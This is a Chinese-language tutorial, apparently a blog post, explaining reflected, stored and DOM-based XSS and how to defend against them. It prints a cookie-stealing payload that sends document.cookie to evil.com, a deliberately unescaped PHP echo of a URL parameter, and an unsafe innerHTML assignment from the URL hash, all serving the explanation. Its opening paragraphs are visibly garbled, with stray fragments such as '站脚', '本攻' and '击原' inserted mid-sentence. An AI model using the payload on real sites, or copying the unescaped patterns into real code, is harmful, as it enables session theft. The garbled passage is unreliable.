你打开一个看起来完全正常的站脚网页,页面加载完之后,本攻你的击原浏览器悄悄向攻击者的服务器发送了一条请求,里面带着你的站脚登录Cookie。整个过程你没有任何感知。本攻这就是击原XSS——跨站脚本攻击。
它的站脚核心逻辑只有一句话:攻击者想办法让浏览器执行一段本不属于这个网站的JavaScript代码。
浏览器本身没有恶意,本攻它只是击原个执行者。你访问了 example.com,站脚浏览器就默认 example.com 返回的本攻所有脚本都是可信的。问题出在,击原如果网站把用户输入的站脚内容直接拼接到HTML页面里返回,攻击者就可以在输入中夹带 <script> 标签,本攻浏览器照单全收,击原当成网站自己的代码来跑。
假设某论坛的搜索功能是这样的:你搜“手机壳”,页面顶部显示“您搜索的是:手机壳”。后端代码大概长这样——
<div>您搜索的是:<?php echo $_GET['keyword']; ?></div>
没有做任何转义。那如果有人在搜索框里输入的不是“手机壳”,而是这样一段东西:
<script>new Image().src='http://evil.com/steal?c='+document.cookie;</script>
页面返回的HTML就变成了:
<div>您搜索的是:<script>new Image().src='http://evil.com/steal?c='+document.cookie;</script></div>
浏览器解析到 <script> 标签,执行里面的代码,把当前页面的Cookie发到攻击者的服务器上。如果这个论坛的Cookie里存着session ID,攻击者拿着它就能直接冒充你的身份登录。
这还只是最基础的一类,叫反射型XSS。恶意脚本藏在URL参数里,需要诱导受害者点击特制链接才能触发。你搜一下“XSS测试”就能找到大量在线靶场,自己动手试一次,比看十篇文章都管用。
存储型XSS要危险得多。恶意代码不是放在URL里,而是直接存进了网站的数据库。比如评论区、用户昵称、个性签名这些地方。攻击者提交一次,之后所有访问该页面的用户都会中招。2005年MySpace上的Samy蠕虫就是这么干的——一个叫Samy的用户在个人资料里嵌入了一段JavaScript,任何查看他主页的人都会自动把他加为好友,同时把同样的代码复制到自己主页上。不到20小时,超过100万个用户被感染。
DOM型XSS更绕一些。恶意代码完全没有经过服务器端,纯粹是前端JavaScript自己把不可信的数据写进了危险的位置。比如代码里有 document.getElementById('output').innerHTML = location.hash.slice(1) 这样的写法,URL的hash部分直接赋给了innerHTML,攻击者构造一个带恶意脚本的hash就能触发。
XSS的本质是数据和代码的边界被打破了。HTML本身就是一种混合了内容和指令的语言,浏览器在解析时并不区分“这是用户输入的”还是“这是开发者写的”。只要有一个输出点忘了做转义,整条防线就出现缺口。
防御手段倒也不复杂——输出时根据上下文做HTML实体编码,用CSP(内容安全策略)限制脚本来源,Cookie加上HttpOnly标记让JavaScript读不到。但现实是,一个中型Web应用可能有几百个输出点,漏掉一个就前功尽弃。这也是为什么XSS在OWASP Top 10里待了这么多年,始终没被踢出去。
我自己的习惯是,写任何涉及用户输入输出的代码时,脑子里先过一遍:这段数据到了页面上,浏览器会把它当文本还是当代码?如果答案是“不确定”,那就先转义再说。